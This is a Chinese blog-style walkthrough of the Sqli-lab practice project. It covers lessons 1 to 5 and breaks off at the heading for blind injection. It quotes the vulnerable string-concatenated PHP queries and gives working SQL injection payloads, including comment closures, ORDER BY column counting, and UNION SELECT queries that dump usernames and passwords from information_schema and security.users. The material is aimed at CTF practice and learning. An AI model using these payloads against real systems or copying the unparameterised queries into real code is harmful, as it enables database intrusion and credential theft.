Sqli-lab 是一个供人练习sql注入的一个项目。虽然现在实战中sql注入已经非常少了,但是sql注入还是经常出现在各种CTF比赛中, 为了愉快的打CTF,垒实sqli的基础还是有必要的。

install

安装有个坑: 由于mysql函数的兼容问题,此项目只适用于php5

goal

项目并没有设立明显的flag。 那么我就自己设一个吧, 如果某道题下能成功获取security数据库下users表的所有数据,那么就算成功了.

lesson 1

直接看源码吧:

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

闭合单引号就能注入了。 例如如果输入是这个

1
1' and 1=2 #

那么最终的查询语句就是:

1
sql="SELECT * FROM users WHERE id='1' and 1=2 # ' LIMIT 0,1";

limit语句被注释掉了。
注意此时有个坑。 mysql的注释方式有3种:

  • – (两个横线加一个空格)
  • #
  • /**/ (多行注释)
    第一种和第二种都需要经过url编码后才能使用。
1
2
1' and 1=2 --%20
1' and 1=2 %23

下面是这种类型的注入的一般处理流程(mysql):

  1. 先猜出原本查询表的列数,为union select作准备
    基本查询语句是这样:
1
1' and 1=2 order by 1 %23

order by + 可能的列数, 当列数n不报错,n+1报错, 说明该表的列为n。
知道了列数之后,union select的列数也要保持和该列数相等。
2. 获取所有数据库名,数据库的表名, 表的列名(这一步需要用到mysql的information_schema)

1
2
1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),(
select group_concat(table_name) from information_schema.tables where table_schema='security') %23
  1. 列出表内数据

information_schema.schemata information_schema.tables information_schema.columns

1
2
3
4
5
6
1' and 1=2 order by 3 --+
1' and 1=2 order by 3 %23
1' and 1=2 union select 1,2,database() %23
1' and 1=2 union select 1,2,(select group_concat(schema_name) from information_schema.schemata) %23
1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security') %23
1' and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) %23

lesson 2

数字型报错注入

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
1
1 and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) %23

lesson 3

单引号加括号字符串型报错注入 类型转换: https://dev.mysql.com/doc/refman/5.7/en/type-conversion.html

1
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
1
1') and 1=2 union select 1, (select group_concat(username) from users), (select group_concat(password) from users) %23

lesson 4

双引号加括号字符串型报错注入

1
2
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
1
1") and 1=2 union select 1, (select group_concat(username) from users), (select group_concat(password) from users) %23

lesson 5

盲注

1